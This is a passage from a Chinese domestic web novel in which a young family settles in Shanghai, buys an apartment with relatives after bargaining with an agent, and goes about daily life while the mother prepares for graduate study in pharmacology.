奖励?这倒是在李固言意料之外了,他往后看了眼,见谷雨这时候正坐在地毯上不知道在扣着什么,他不正经地往前一倾,用只有他们才能听见的声音说:“晚上……” 就知道他脑子里就这点东西,舒英面色绯红,朝他翻了个白眼后朝谷雨走过去,没说答应也没拒绝。 李固言还站在原地,脸上的笑意不散,后背撑着栏杆微微后仰,眼睛闭起来,享受这一刻的风。 谷雨在火车上没吃多少东西,这时候应该也饿了,舒英问:“要不要喝奶奶?妈妈给你泡奶奶喝好不好?” “好。”谷雨仰头答应,看妈妈从包里掏出她的小奶瓶,又拿出奶粉。 李固言听到她俩说话,也不吹风了,走过来说:“我现在烧水。” 趁着他烧水的间隙,舒英又仔细看了一遍这个房子,房子里面东西不多,没有家电,但该有的家具都配备了。 房间里李固言已经把床铺好了,舒英拽起杯子一角闻了闻,是洗过晒过的,她放下心,其实也没什么好不放心的,他一向爱干净,这些生活上的事向来仔细。 舒英视线往旁边移,大床旁还放了一张小床,上面也铺得很整齐,凉席蚊帐一个不少,蚊帐的边边角角也掖得很细致,不漏一点缝。 其实在她观察来看,住在五楼就是不挂蚊帐好像也没什么关系,目前她还没在家里发现一只蚊子,不过小心些总是好的,而且不知道为什么,谷雨就是很招蚊子咬,跟别人在一块儿,蚊子不叮别人,专叮她,咬的身上一个个包,瞧着让人心疼。 卧室里没有风扇,待会儿下楼要买一个,舒英默默记在心里。 这时候李固言水也烧好了,没等她出来,就给谷雨泡上了,厨房还有点凉白开,他开水冲泡好后又给兑了点凉白开进去,用奶瓶在手背上倒了点,试了试温度,觉得差不多才递给谷雨。 谷雨正玩得高兴,随手接过奶瓶就往嘴里塞,腮帮子一鼓一鼓地吮吸着。 李固言也好奇她玩什么呢,玩得这么痴迷,定睛一看,她饶有兴致地把地毯抠了一个洞出来!见他好奇,还指着给他看。 李固言哭笑不得,连忙制止。 舒英从卧室里出来,看父女俩头碰头地盯着地面看,也疑惑问:“看什么呢?” 李固言不敢隐瞒,指着闺女的杰作说:“喏。” 舒英也惊了一瞬,问:“这地毯是你买的还是房东家的?” “房东的。” “……!” 舒英无奈地看了眼不明所以的谷雨,说:“那等我们退租的时候跟房东谈一下赔偿吧。”说完又去教训始作俑者。 小孩子虽然不懂事,但犯了错是要纠正教训的,而且她三周岁多了,这些话也能听得懂。 舒英没有训斥她,而是蹲下问:“谷雨,你能跟妈妈说一下,为什么要这样抠它吗?” 谷雨睁着懵懂的大眼,说:“它上面有硬硬的。” 她话说的不清楚,舒英却是听明白了,她的意思是地毯上那一块有不干净的东西,而且已经结块了。 舒英脸上挂起笑,伸手在她头顶揉了揉说:“好,谷雨是想帮爸爸妈妈把脏东西清理掉对不对?” “对!”谷雨点头。 “那妈妈要表扬你,因为谷雨是好孩子,家是我们的家,看到有不干净的东西就要及时打扫干净。” 谷雨得了妈妈的大拇指,脸上扬起大大的笑,但还没等说话,就听妈妈转了口音,脸上也没有笑了:“但是,谷雨,清理脏东西是对的,可是脏东西清理掉后还能不能继续在地毯上抠洞?” 自己的女儿自己知道,她一开始是好心,后面纯粹是玩心大发。 谷雨有些心虚地底下脑袋,轻轻摇头,蚊蝇一样说:“不能……” 舒英板着脸嗯了一声:“可以这样说话吗?要怎么说?” “大声说!” 舒英点点头:“好,那你再重新回答一下妈妈的问题,可以继续在地毯上抠洞吗?” 李固言在旁边看着她有理有据地教育女儿,并不插嘴。 谷雨又重新回答了一遍,虽然还是心虚,但声音的确有所提高:“不能。” “很好。”舒英脸上又露了点笑意,“那谷雨,你现在应该怎么做?妈妈之前跟你说过的。” 谷雨虽然心虚,但眼神清明并不躲闪,大大方方回答:“要道歉。” 舒英脸上笑意更深:“这张地毯不是我们家的,是房东家的,所以你把这样地毯抠坏了不光要道歉,还要赔钱的。道歉嘛,等下次见到房东,你对他说对不起,看他原不原谅你好不好?” “好。” “但是妈妈先说好,因为是你做错了,就算到时候你道歉了,房东也是可以选择不原谅你的,你要做好准备噢!” 谷雨握起小拳头,鼓着脸,眼神坚定:“我做好准备啦!” 她这副模样,不光是舒英笑,李固言也跟着笑,他看了眼谷雨又跟着看了眼舒英,舒英真的把她教的很好很棒,这其中不知道要花费多少心血。 舒英继续:“那赔钱,妈妈就从你的压岁钱拿,好吗?你还有异议吗?” 谷雨点头:“好,没有异议。” 问题解决了,一家人又和和乐乐的。 谷雨喝了奶粉,现在不是很饿,但两个大人还没吃饭呢,家里瞧着也没什么像样的食材,甚至锅碗瓢盆都不太齐全。 舒英到厨房里检查一番,把缺少的东西都记下,跟李固言一起牵着谷雨到楼下去觅食。 这个点,除了年节里,在安城一般是寻不到什么像样的吃食了,但在沪市,楼下商铺还很热闹,卖什么吃的都有,大一点的超市也都还开着。 第52章 第 52 章 买房 楼下商铺很热闹, 店门大开着,舒英和李固言带着谷雨进了一家馄饨店,给谷雨点了一碗鲜肉小馄饨, 两个人要了两碗荠菜大馄饨。 李固言一碗大馄饨还吃不太饱, 舒英看着墙上的红底菜单,又要了一份生煎包,这也是沪市特色, 安城是没有的。 这时候店里人不多,没一会儿他们的食物就上齐了。 谷雨现在会自己用勺子,舒英怕才煮好的小馄饨会烫到她,又问老板要了一个小碗, 把小馄饨拨了几颗到小碗里,等她吃完再给她拨。 盛着大馄饨的碗放在舒英面前,她仔细看了看,感觉荠菜大馄饨跟饺子也没什么区别了, 就是包法不太一样, 大馄饨包成一个元宝样,她看了眼乖乖吃小馄饨的谷雨, 从自己碗里给她夹了一颗大馄饨让她也尝尝。 这家店的生煎包倒是很好吃, 生煎包底金黄焦脆,轻轻咬一口里面还会有汁水流出来,汁水也烫,舒英捣破皮后才夹给谷雨。 谷雨刚喝完奶粉, 又吃了一个大馄饨,一个生煎包,小馄饨就没吃多少,还剩了大半碗都进了李固言肚子里。 也不知道李固言是不是拎包拎饿了, 瞧着肚子跟个无底洞似的,吃完了自己的那份,还把舒英和谷雨剩下的也都吃得干净。 吃完了饭,肚子得到满足,一家三口从店里出 来都有些懒懒的,在路上慢慢地走着,好在舒英还没忘记要给家里买东西,一拍脑袋道:“超市在哪?” 李固言往一个方向指了指。 舒英顺着看过去,点点头:“走。” 谷雨吃饱了就有些犯困,李固言稳稳当当地把她抱在身上。 晚上没有白天那么热,时不时还会吹来一阵清爽的风,发丝飞扬,这段时间浮躁的心都渐渐落在实地里。 李固言抱着谷雨,她肉嘟嘟的小脸歪在他肩头,他能听见她沉稳的呼吸,甚至肩膀处隐隐还有一股湿意。 他失笑,手肘轻轻撞了撞舒英道:“你看看她是不是流口水了?” 舒英绕过去,好笑道:“还真是。”说着将包里的手帕拿出来给她擦了擦,又抬起她的头垫在她嘴下,看着她在爸爸怀里睡得香甜,忍不住握了握她垂下来的手,“真是个坏家伙。” 李固言也忍不住笑,托着她又往上抱了抱,谷雨跟着动了动,砸吧砸吧嘴,无意识的小动作又惹得他俩一阵笑。 舒英本来还想在超市里转一转的,见谷雨睡着了,也没逛的心思了,拿着清单直奔生活区,速战速决将所有东西一下子买齐,收银台结了帐后就拎着回家。 谷雨一路上醒都没醒,上楼都是李固言抱上去的。 舒英瞧着低声笑:“你这也是负重了。” 李固言双臂又收紧了些,生怕上楼晃动不稳会扰了闺女睡眠,也轻声笑说:“正好想锻炼身体呢。” 到家后,李固言先抱着谷雨进了卧室,舒英放下东西,也跟着一块儿进去。 房间里暖黄的灯光亮起,舒英道:“还没洗漱呢,你先别把她放床上,我把她叫起来刷刷牙再睡。” 李固言心疼闺女睡着了还要被叫醒,但他在这些事情上从来不会反驳舒英,只好看着谷雨被温柔唤醒,睡眼惺忪,眼神失焦。 舒英弯着腰看着她,声音轻柔:“谷雨,我们先去刷牙,刷完牙再睡好不好?” 谷雨无意识地嗯声,但眼皮看着立马就要闭下。 李固言有些忍不住道:“要不今天就不刷了?我去接点水给她擦擦脸擦擦身子就让她睡吧,她今天坐一天火车了,肯定不舒服。” 舒英也有些犹豫,随后又心下一狠:“不行,牙还是要刷的,不刷牙回头要蛀牙的。” 说完她又妥协道:“算了算了,不喊她了,我就这样给她刷吧。” 李固言抿唇轻笑,出去接水去了。 两人伺候完谷雨,又给她换了一身干净清爽的睡衣才把她放到旁边的小床里,李固言细心地把蚊帐拉好,关了灯出去。 他们俩还没到能睡的时候,家里的那些东西还没归置呢。 两个人在客厅一边聊天一边干活。 他们说起前段时间沪市出的一条新政策。 “真是巧了,咱们刚想买房,沪市就买房送蓝印户口了。” 李固言点点头:“到时候谷雨也能参加沪市中高考。” 舒英没来的这段时间,他在休息日到处看了不少房,有几个他觉得还不错,房价也能负担的起的,都记了下来,就等着带她去看了。 按他的想法,还是早买早好,这个政策一下来,势必会吸引很多想要落户沪市的人,到时候房价恐还会继续上升。 舒英:“等你这周日休息,我们就去把你看的那几套房子再转一遍,能定下来就尽快定下来吧。” “也别等周日了,就明天吧,本来你过来我就说请两天假的,明天正好有空。” “那也行,叫上我姐,她之前就说要跟咱们买在一块儿,好互相照应着。” “那明天早上给她打电话,就是不知道她明天有没有空。” 舒秀珍来到沪市后,在事业上很是拼命,天天忙得要起飞,突然找她,她还真不一定有空。 舒英手上收拾东西不停,道:“她有时间,我来之前跟她就打电话说好了,明天她带贝贝过来看咱们。” 她那个工作时间也很弹性,在外面拉业务,又不用坐班,想休息随时就休息了,也不会有领导说什么,毕竟她的工资跟她拉的业务相关,她休息多了赚的钱自然就少。 一眨眼,两个人光收拾东西就收拾到了深夜,外面家家户户的灯都已经灭了,打眼一扫,好像就他们家的还亮着。 舒英直起身伸了个懒腰,打了个哈欠,刚才干活的时候不觉得,现在干完活,真觉得四肢都累的要抬不起来了。 李固言还想把地扫一遍拖一遍,抬头看她道:“你先去洗澡睡觉吧,我再清理一遍。” 舒英点点头,控制不住地又打了个哈欠,眼尾挤出点水光来。 她没洗头,快速地冲了下身子,又撑着刷牙洗脸后,就赶紧进屋,先是到小床边看了眼谷雨,见她不老实地踢掉了身上的被子,给她盖好后才躺到床上。 早上为了赶火车,天没亮就起来,熬到这么晚才睡也实在是累了,她几乎是头刚沾枕头,就进入了梦乡。 李固言把地板拖得光可照人,也去洗漱,洗漱完后将外面的灯都关掉,这才蹑手蹑脚地进卧室,卧室里没开灯,黑乎乎的,他倚着门框站在门口往里看,两张床上隆起的身影让他觉得自己的心都被填满,满的再塞不下其它。 他弯起唇笑了笑,也躺到床上去,长臂一伸,将舒英抱进怀里才舍得睡去。 第二天早上没定闹钟,阳光透过窗帘缝隙洒到室内,李固言悠悠转醒,入目的是舒英恬静的睡颜。 谷雨昨天睡得早,这时候已经醒过了,坐在自己小床上安安静静地没出声,手里拿着几个玩偶玩。 李固言看见她,笑起来,见她要说话,竖起食指放在唇边嘘声,又指了指还在熟睡的舒英。 谷雨瞬间瞪大眼,两只小手捂住自己的嘴,可爱地摇了摇头。 李固言笑,悄声从床上下来,走到小床边,把蚊帐拉开,把谷雨抱出来,接着父女俩出了卧室,又轻轻把门带上,仔细着没吵到舒英。 李固言带着谷雨刷牙洗脸换了衣服,又给她泡了杯奶粉喝。 谷雨喝到奶粉,眯着眼舒服地半躺在沙发上,一副很享受的样子。 李固言拿了房门钥匙问她:“爸爸要出去买早饭,你要不要跟爸爸一起去?” 谷雨点点头。 李固言笑起,怕舒英中途醒来,写了张便条留在桌子上,给谷雨穿上塑料凉鞋后牵着她一块儿出去。 她奶粉还没喝完,一只手拿着奶瓶,一只手被爸爸牵着。 夏天的太阳烈,好在李固言提前拿了把伞,撑在谷雨头上,给她遮阳,谷雨眼睛半睁着,拖着步子被爸爸带着走。 李固言有些无奈,弯下腰把她抱起来,快速地到早餐店去买早餐。 舒英醒的时候,房间里没一个人,她半清醒半迷糊地揉了揉头发,起身出了卧室,客厅里也没人,整个家里都十分安静,只有窗外时不时传来几声鸟叫蝉鸣。 她扫眼看到桌子上的便条,知道他们出去买早餐后就去刷牙洗脸。 夏天天热,早上一起来就感觉身上黏黏腻腻的,舒英没忍住又冲了个澡,这才换掉睡衣。 等她收拾好自身,李固言也带着谷雨回来了,又是抱回来的,热得他头上都是汗。 舒英诧异道:“她又没睡着,你怎么还抱着上楼?” “是没睡着,但也没多清醒,要指望着她跟我走上来,这个早餐估计得推到中午吃。”李固言把谷雨放下来,她手里的奶瓶已经空了,献宝似的递给妈妈。 舒英接过奶瓶,听了他的话,在谷雨鼻梁上一刮,笑道:“拖后腿第一名。” 谷雨可听不懂妈妈是夸是扁,双手扒着桌沿,掂着脚看着爸爸买回来的早餐说:“肉包,要吃肉包。” 舒英双手伸到她腋下一用力把她放到椅子上,又伸手拿了个肉包给她。 谷雨“啊呜”一口在肉包上咬了一个豁口,开心地吃起来,两只碰不到地的小短腿还在椅子上 晃来晃去。 舒英等她吃起来后也坐到桌子边,李固言又去洗了把脸才过来。 等吃完早饭,舒英拿着电话本去楼下给舒秀珍打电话。 舒秀珍离这边不算远,一个小时后就到了。 贝贝满打满算也就比谷雨大一岁多,一只手就数得过来的年龄,记忆都不好,两个小朋友上次见还是两个月前舒英来复试那次,但那次也没相处太久,所以猛一见面,都很陌生,但毕竟同龄,陌生中又都带着点对对方的好奇。 贝贝性格腼腆文静些,牵着妈妈的手躲在妈妈身后,谷雨相对就要大胆活泼些,起身回屋把自己的玩具都拿出来,不过转眼间,两个小朋友就又玩到了一起。 舒秀珍也打量着这间房,边看边点头夸道:“这房子租的不错,位置也好,布局也好,咱们要是能买到这样的房子就挺好。” 舒英把刚才李固言下去买的西瓜切开端过来,笑说:“固言说他看好的那几间房也有这样的,咱们待会儿过去瞧瞧?反正好不好的都得先过一遍眼。” 舒秀珍拿起一牙西瓜咬了一口,天热,西瓜吃到嘴里也是温热的,解渴不解暑,“这天气这么热,我还有点不想动。” 舒英道:“早买完早了事,咱们快去快回,都是固言看过的房子了,转起来也快,而且都在这附近。” 三个大人都准备出去看房,也不能把两个小家伙单独留在家里,给中介打好电话后,五个人浩浩荡荡的就出发了。 都是李固言认真挑选过的房子了,再看起来就轻松很多。 这几间房子朝向都不错,地段也不错,离沪大也近,于是,它们的价格也很好看,算下来个个都接近十万。 舒英听得心是一惊又一惊,不得不感慨沪市的房子是真贵,在安城,地段最好的房子也才一万多,这差了十倍都不止。 中介还在极力推销:“李先生,您也来看过很多次了,这里怎么样您摸的恐怕比我还清楚,不是我夸张,这几间房子也来了不少人看,房子可不等人,您要是再犹豫的话,这房子真就被人家定下了。而且现在买房子还送户口,您这一看就是要举家落户的,您这千金马上也到了上学的年龄了,有个咱们沪市的户口,做什么也都方便些。” 舒英本来还想再多转转的,听了这话也有些想立刻定下来。 其它的都是小事,谷雨上学可是重中之重。 李固言面上波澜不惊,没有一点急的意思,微微笑了笑说:“谢谢,我们再看看。” 中介瞧着他的表情,再着急,就是急得想跺脚也只能偃旗息鼓,这房子可不便宜,快十万了,一大笔钱呢,珍重又珍重也是常理之中,他擦了擦头上的汗,认命地带着几人又跑了一间。 到了这间房,舒英眼神都一亮,前面几间房也好,但都比不上这间,中介先带着看的是样品房,里面是精装修的。 也是两室一厅的格局,卧室客厅都朝南,室内五十八平,他们一家三口住是足够了。 中介知道他们两家想要住得近一些,笑道:“这个楼盘是咱们去年刚建的,都卖得差不多了,这个房子总共还剩两间,正正好还就在一栋楼里,一个五楼一个六楼,你们平时想串个门,走两步就到了,方便得很。我带你们过去看看?” 舒英和舒秀珍对视一眼,互相点了点头道:“行。” 中介见两人喜欢,难掩激动的心,边走边介绍:“咱们这是电梯房,上楼都不用你们自己走路的,而且五楼六楼也不算多高,就算是突然停电,也不用爬多久。” 舒英点点头,带电梯的房子不用爬楼梯这一点是好,不过价格也更高,也真是幸好这边离市区不近,不然房价恐怕还会再高出一大截子。 到毛坯房里转了一圈,五楼六楼都仔仔细细看了个遍,舒英和舒秀珍都很满意,李固言扮黑脸道:“行,那我们再商量商量。” 中介瞧他还是不肯松口,心中顿时叹口气,再看着两位女士喜欢的眼神,又提气道:“这你们可要考虑的快一点了,咱们这周边该有的都有,出了门就是个公交站,离沪大也近,不远处还有医院、超市,楼下的商铺几乎也都开门营业了,所以生活上差不多是方方面面都顾全了,去年地铁1号线不是运行了吗?据传咱们这边也是要修地铁的,修了地铁后去哪都更方便快捷。” 沪市地铁通车是一件大事,新闻上报纸上都有说的,舒英虽然没坐过,但也听说过,地铁的速度比公交可不止快了一星半点,这边挨着沪大,修地铁应该也是迟早的事。 舒秀珍问:“那咱们这房子算下来全款是多少钱呢?” 中介见有门儿,眼神都亮了说话也更有劲了,连忙答道:“七七八八折算下来,全款是九万二。” 这个价格可实在是不美妙,但它是电梯房,周边配置也好,这么多钱也在情理之中。 中介也知道这个价实在有点高,急忙又解释两句:“咱们是真值这个价的,房子你们也都亲眼看过的,格局采光是不是都是上上好?而且你们这两个小千金要不了两年都要上小学的,那边就有一所小学,是沪大附小,教学质量在咱们沪市可是顶呱呱的。”他说起还竖了个大拇指。 这话可是说到几个人心坎儿上了,上学可是每个华国人心中重之又重的事。 舒秀珍也是跑业务的,对这些中介推销中的门道不说一清二楚,也知道的七七八八,她露齿笑道:“不瞒你说,我们是真喜欢这两套房子,这房子哪里都好,就是价格太高,这十万块钱真不是一个家庭说拿出来就能拿出来的,可不就得慎之又慎吗?” “是是,谁家买房都得仔细斟酌,只是咱这两套房子是真好,您要是不赶紧定下的话,恐怕下回来就被别人买走了。” 舒秀珍眼神一闪,脸上笑容不变:“我们也是诚心想买,这样吧,您看看再给我们一些优惠,这优惠好,我们说不定今天就交了首付了。” 两人一番唇齿,价格还真被她又说下来些,又省了四千,九万二降到了八万八,一个吉利数。 两家人都不是全款买,都是先交了首付,剩下的银行贷款,这都是提前就商量好了的。 买了房子不光是买房这么简单,后续还要装修,他们也要生活,他们手中的钱也就那么多,都付了房子钱,口袋里可就真没什么钱了。 两家人在中介的指导下仔细检查了一遍购房合同,没什么问题后签下了自己的名字。 五楼六楼都差不多,舒英和舒秀珍抛硬币决定的谁哪一层,最后结果是舒英五楼,舒秀珍六楼。 买了房就是真的在沪市安定下来了,舒英、舒秀珍还有李固言心里都觉得高兴,只两个小家伙跟着大人跑来跑去,天气又这么热,已经累得不想说话,小脸红扑扑的,就连早上刚扎好的小辫子也已经变得松松散散。 事情都办完,再回到李固言租的房子里时,已经快晚上五点了。 舒秀珍大手一挥道:“行了,也别做饭了,姐有钱,姐请你们下馆子去。” 舒英笑道:“姐大气!” 过了一会儿,李固萱也来了,一行人下楼去下馆子。 李固萱现在正忙着毕业和工作的事,天天都忙得焦头烂额的,瞧着比上回见都瘦了不少。 她听见嫂子这才来一天,房子都买好了,也不由得为他们的速度感到惊讶:“这么快?” 舒英笑道:“刚好遇到合适的,而且各方面都好,就付钱了,钥匙都拿回来了,等哪天你休息,带你去看看怎么样。” “好啊。”李固萱应下,但说起休息,她又有些萎靡,“这段时间是真忙啊!” 说起来,舒英也有些好奇她现在的工作,她听李固言说过一些,电话里说的也不清楚,李妈也担心着呢,她问:“你现在具体是做什么的?” 李固萱刚吃了一口菜,嚼了嚼咽下去回道:“去年认识的几个学姐学哥创业,做一些小游戏,我当时给帮了几个忙,今年他们做出了点成绩就邀请我也参加,我感觉不错,就跟着他们一起干了,结果现在又要忙毕业又要跟他们搞开发,真是晕头转向的。” 她学的计算机专业,舒英一开始都不知道这个专业是干什么的,以为是按计算机的,后来才知道她这个计算机是电脑 。 现在想想还觉得有些好笑。 “不过好在马上就毕业了,我就能轻松些了!”李固萱长舒一口气。 第53章 第 53 章 买冰箱洗衣机 一顿饭吃完, 天色也不早了,互相说了再见后就各回各家。 这边离舒英和李固言家不远,两人把谷雨牵在中间, 边玩边散步, 就当饭后消食了。 走了一段路,舒英突然想起来要买菜,从昨天晚上到这, 还没在家里做一顿饭,家里现在是一点食材都没有。 她道:“不过今天有点晚了,超市里的菜估计都不太新鲜了,就随便买点, 明天能做个早饭就行。” 李固言没什么意见,点点头说:“都行。” 谷雨抬头左看看又看看,等他们说完后,晃了晃他们的手, 还想像刚才那样被一下子提溜起来。 舒英跟李固言对视一眼后笑了笑, 满足她的小愿望,喊着“一二三”, 把她又拉了起来。 谷雨今天又被拉着转了一天, 到家后就有些精神不振,舒英摸着她的小脸蛋亲了一口,有些心疼说:“洗洗澡睡觉了好不好?” 谷雨点头:“好。” 昨天只擦了擦身子,今天可是好好洗了一番, 舒英把她的头发散下来,挤上洗发膏,先在手心揉了两下,才往她头发上抹, 白色的泡沫堆在头顶,她小心着生怕碰到她眼睛。 谷雨坐在水盆里,一时又不困了,玩心四起地扑腾着水。 给她洗澡真是好一番费劲,舒英喘着气给她换上睡衣后推出厕所让李固言带她吹头发再刷牙洗脸,她出了一身汗,也得好好洗一洗。 她洗得时间长了些,出来的时候,谷雨都已经躺在床上睡着了。 李固言在客厅里边看书边等着洗澡,她一出来他第一时间就听到动静,下意识抬头看过去,她双眸水润润的,脸颊绯红,唇色饱满,皮肤经过热气氤氲也呈浅淡的粉红色。 李固言喉咙一紧,将手中的书放下,走到她身边,情不自禁就想与她亲亲抱抱。 舒英嫌热,跟他拉开距离,老夫老妻了,可以说,他一个眼神她就知道他想什么,脑中不由想起昨天他贴在她耳边说的话,脸上一热,娇娇横了他一眼:“还不快去洗!” “这就去。”李固言得了令,也忍不住笑,去之前还要在她唇上咬一口,直亲得她腿软站不住才舍得走。 舒英坐在沙发上轻轻喘着气,浴室里传出来水声,她只作不闻吹着头发,掩耳盗铃似的让吹风机的噪音盖过那水声。 李固言再心急也要细致地把身上冲洗干净后才出来,出来后恶狼似的扑到她身上。 舒英闭上眼任他亲了会儿后气息不匀地说:“你去把卧室门反锁上。”别中途谷雨醒了跑出来。 天气预报说明日有雨,窗外树叶吹得哗啦哗啦响。 李固言伏在她身上不想起来,恨不得一辈子都贴着她才好,思忖一会儿后一把把她抱起,舒英身子猛然一高吓了一跳,拍了他一下压着声音说:“你干嘛?” 声音柔柔媚媚的,哪里有半分怪罪的感觉。 李固言笑起来,还坏心眼地掂了掂她,嗓音有些沙哑:“去锁门。” 他打横抱着她,被她亲密地搂着脖子,几个跨步就走到卧室门前,腾出一只手转动锁孔上挂着的钥匙。 这个问题解决后,该是下一个问题了,李固言抱着她将她轻轻放到沙发上,很是虔诚地俯跪在沙发前,眼神炽热地盯着她。 舒英不知是灯晃眼还是他的眼神太亮,只觉得晕晕乎乎,跟喝醉了一般。 李固言握住她的手放在唇边亲了下,接着顺着她软滑的手臂上去,来到她颈窝。 他高挺的鼻梁蹭了蹭,灼热滚烫的呼吸在她脖间游移,像只羽毛轻轻扫,有些痒,似亲非亲,暧/昧之至,他在引/诱她。 舒英知道,但她甘愿上钩。 灯影晃动,窗外的风不停,雨也不曾歇,直下了一整夜,为这闷热的夏日带来一丝清凉。 李固言睁开眼,舒英还在睡,昨晚实在折腾得有些狠了,但他食髓知味,欲罢不能。 舒英嘤咛一声,迷迷糊糊中翻了个身,又觉得自己身后好像追过来一只大狗,黏黏糊糊地贴着她,贴得紧,有些热。 她动了动,想要把大狗推下去,结果大狗没推开,她反而被热醒了。 她睡眼惺忪,哪里有什么大狗在追,腰间禁锢的是李固言的手臂,舒英低头看了眼,他环抱着她,手掌摊开搂在她腰侧,小臂劲瘦有力。 李固言觉察到她的动作,轻声问:“醒了?” “醒……”舒英想说话,但喉咙里实在干渴,一瞬间连句话都说不完整,她转过去,面对着他的笑脸,咬着后槽牙在这个始作俑者身上拍打了一下。 李固言知错,立马狗腿地下床倒了杯温水过来。 舒英喝了水后才觉得舒服些,也不想说话,睁着湿漉漉的双眸瞪了他一眼,没有一点威慑力。 舒英昨天买了菜就是想着今天早上给他做个早餐,再让他去上班的,这下看来,她还真是好心,竟还想着给他做什么早餐,人家可没想着吃。 哦!想了,人家想的是那个“吃”…… 李固言等她喝完水,贴心地接过杯子,又厚脸皮在她脸上吻了一下后笑着出去,道:“你先去洗漱,我去做早饭。” 脸上一热,舒英又瞪了他一眼,看着他春风满面地出去,认命地从床上起来。 谷雨还没醒,但她昨天已经睡得够早,不能一直睡下去,舒英先走到小床边拉开蚊帐把她叫醒。 谷雨打了个哈欠,小肉手揉了揉眼睛,眼瞳里倒映出妈妈的身影后才算是有了点神采。 舒英温柔地笑了笑,把她抱起来在她脸颊上亲了一下,“妈妈的小宝宝要起床啦,跟妈妈一起去刷牙洗脸。” 谷雨趴在妈妈怀里,还有些瞌睡,听到这话,迷糊嗯声。 舒英伸手抚着她的背,带她站到水池前的凳子上,把她的小牙刷和小牙杯拿过来,给她接好水挤好牙膏后放到她手里。 有些清凉的牙膏塞进嘴里后,谷雨才彻底清醒过来,看着镜子里的自己和妈妈,学着妈妈的样子嘻嘻哈哈地刷好牙,又跟着吐出嘴巴里的牙膏沫,漱了漱口。 等她自己刷好牙后,舒英夸张地双手竖起大拇指表扬道:“宝宝真棒!来张嘴,妈妈检查一下牙齿有没有刷干净。” 谷雨嘻嘻地笑着,把嘴巴长得大大的,又生怕妈妈会看不清似的往她脸前凑。 舒英仔仔细细看了一遍,又把她表扬一通,这才牵着她的手到饭桌边。 李固言煎了鸡蛋饼又炒了一盘番茄炒蛋和土豆丝,已经做好了,招呼着两人吃饭。 吃完早饭后,舒英没让他再收拾碗筷,赶他去上班:“快去快去,再磨蹭真的要迟到了。” 李固言依依不舍地看着她俩,换好鞋后还拽着她的衣角,把半边脸凑过去:“亲一下我就走。” 他这副样子简直没眼看,舒英抿唇笑着,把谷雨举起来在他脸上“啪唧”亲了一个响的。 李固言无奈地看着舒英,她脸上带着得逞的笑意。 他拿起钥匙,临走前又啰嗦起来:“那我真去上班了?” “快去吧。” “听见有人敲门别应,你要是有什么事就给我打电话,我办公室的号码你都记得吧?” “记得,你就放心吧。” “那就好。”李固言点头,又想了想还漏了什么没有。 舒英无奈扶额,看了眼时间说:“你快点走吧,再不走真来不及了。” “这就走。”李固言见没漏什么,从门边抓了把雨伞后出门,还一步三回头。 舒英真有点受不了他这黏黏乎乎的样子,抓紧将铁门关上,看了眼旁边穿着睡衣,小肚子圆滚滚的谷雨,一把把她抱起来,笑 道:“走,换衣服,妈妈带去下去转转。” 谷雨突然飞起来,高兴地笑出声。 外面还飘着小雨,舒英也不打算去哪逛,给谷雨换上鹅黄的小雨衣,给她把帽子扎好,又蹬上一双胶鞋,领着去了小区旁边的菜市场看看,买点新鲜的蔬菜,再割点新鲜的猪肉,中午回来也能炒两个可口的菜。 买完菜后,舒英挎着菜篮子牵着谷雨往回走。 下了一夜雨,路面不平之处积攒了一点小水洼,谷雨要踩着玩,舒英给她穿的仔细,不会进水,也就随她去,等她玩够了才领着她继续走。 路过一家面包店,店门大开着,店里面香甜的面包香味溢出来,舒英和谷雨不约而同地停下步伐耸着鼻子嗅,像两只仓鼠,除了体型一大一小外,神态动作可谓是如出一辙,店里看见的人都忍不住笑起来。 谷雨嗅完,伸手拽了拽妈妈的衣服,仰起头眨巴着眼说:“妈妈,吃。” 舒英看着她有些忍俊不禁,牵着她进去。 不一会儿,两人满足地踏出面包店的门,舒英的菜篮子肉眼可见的要溢出来了。 到家后,舒英先把谷雨身上的雨衣胶鞋脱掉,拿到阳台上去晾,又拿干毛巾在她身上擦了一遍后才把她抱到沙发上去玩。 弄完谷雨,舒英接着处理买回来的东西。 蔬菜分门别类地放到厨房,家里还没有冰箱,舒英没敢多割肉,只够中午吃一顿。 她看了眼还有些空荡的房间轻叹,冰箱洗衣机现在都还没买呢,少了这两样,生活质量可是会大打折扣的,这不能拖,等晚上李固言下班就去买! 到时候新房子装修好,住的时候就能直接把这些电器搬过去用。 食材整理好后,菜篮子里就还剩买的面包,舒英拿出一块,这面包烤得软软的,上面还涂了奶油,点缀了几颗蓝莓,看着就让人食欲大增。 她把面包放到盘子里,又用刀分成小块,这才端了出去跟谷雨一块儿吃。 “好吃吗?” 谷雨嘴角被蹭了奶油,手里拿着签子举起胳膊,大声回答:“好吃!” 舒英用手帕将她嘴上的奶油擦干净,笑起来说:“喜欢吃我们下回还买。” “好!” 吃完面包,舒英又陪谷雨玩了会儿后,就拿出书来看,录取通知书说是九月报道,其实这几天没事就可以先去学校见导师了。 舒英的导师叫章惠然,是她复试时的面试官之一,年龄在五十岁上下,气质温文尔雅,说话也不疾不徐,面试时对于她工作了很多年后又来考研究生的经历很是好奇,便多问了两句。 后来她复试通过,她就主动联系了她,问她是否愿意成为自己的学生。 舒英当然同意,面对章惠然,她根本没有拒绝的理由,章教授可是她们这个专业的大拿,就连她考研时看的那些专业书籍都是她主编的。 她知道章教授是沪大的硕士生导师,也想过自己考上后能成为她的学生,但那时真的就只是做做梦而已,是真没想到自己能被章教授主动联系,她现在想起这事还开心地想笑。 这件事值得她吹嘘一辈子了! 她看着面前厚厚一本《药理学》,这本书在这一年多已经快被她翻烂了,上面密密麻麻记得都是笔记,没办法,这种专业性的书籍又枯燥,知识点又多,看的时候根本不能遗漏一处,学起来格外的费劲,问题是它忘起来还快,只能不停的一遍又一遍地看、学、背。 她揉了揉眼睛接着上回看过的地方又读了一遍。 谷雨看到妈妈读书,下意识放缓了声音和动作,这一年多,她已经养成了习惯,只要妈妈坐在桌子前,那就是不能打扰的。 舒英边看书边留意着谷雨在干嘛,见她在旁边无所事事地扣着脚丫,咦了一声笑道:“臭不臭?” 谷雨听懂妈妈在笑话自己,小辫子一甩,扭头哼道:“才不臭,谷雨香!” “好,香!”舒英脸上的笑憋都憋不住,长臂一伸一把把她捞进怀里,说,“妈妈教你认字好不好?” 认字? 谷雨抬头看她,眼神亮晶晶的。 舒英音调轻柔,夹杂着窗外风雨轻轻拍打着玻璃窗的声音,格外的和缓,“认了字,谷雨就能自己看那些故事书了,就不用妈妈给你读了。” 她有事没事就会给谷雨买故事书读,都是儿童文学,一篇篇的短故事,谷雨听得上瘾,成天拉着她嘴巴里不是小狗就是小猪小猫。 